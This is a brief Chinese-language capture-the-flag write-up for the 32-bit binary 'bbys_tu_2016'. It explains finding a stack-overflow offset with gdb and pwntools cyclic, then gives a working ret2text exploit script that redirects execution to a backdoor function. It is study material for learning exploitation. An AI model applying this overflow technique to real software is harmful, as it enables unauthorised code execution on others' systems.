bbys_tu_2016


- 缓存区长度调试
32位下的ret2textcyclic的使用
main函数中存在溢出- 存在后门函数
- 构造
payload,ret2text就可以得到flag
难点在于我们很难通过ida得到我们要溢出的长度,需要手动计算,接下来是两种方法
-
A,通过
gdb得到溢出长度

停在输入地址,输入,手动查看
ebp下的返回地址,减去输入位置得到长度 -
B.通过
cyclic生成字符串,根据返回报错得到长度bamuwe@qianenzhao:~$ cyclic 30 aaaabaaacaaadaaaeaaafaaagaaaha
gdb调试输入后得到了这样一个报错bamuwe@qianenzhao:~$ cyclic -l 0x61616167 24-l查询,得到栈溢出距离($esp~$ebp)是$24$(0x18)
from pwn import *
io = process('./bbys_tu_2016')
padding = b'A'*0x18
payload = padding + p32(0x0804856D)
io.sendlineafter(b'This program is hungry. You should feed it.\n',payload)
io.interactive()
远程与本地有不同,直接
io.sendline(payload)即可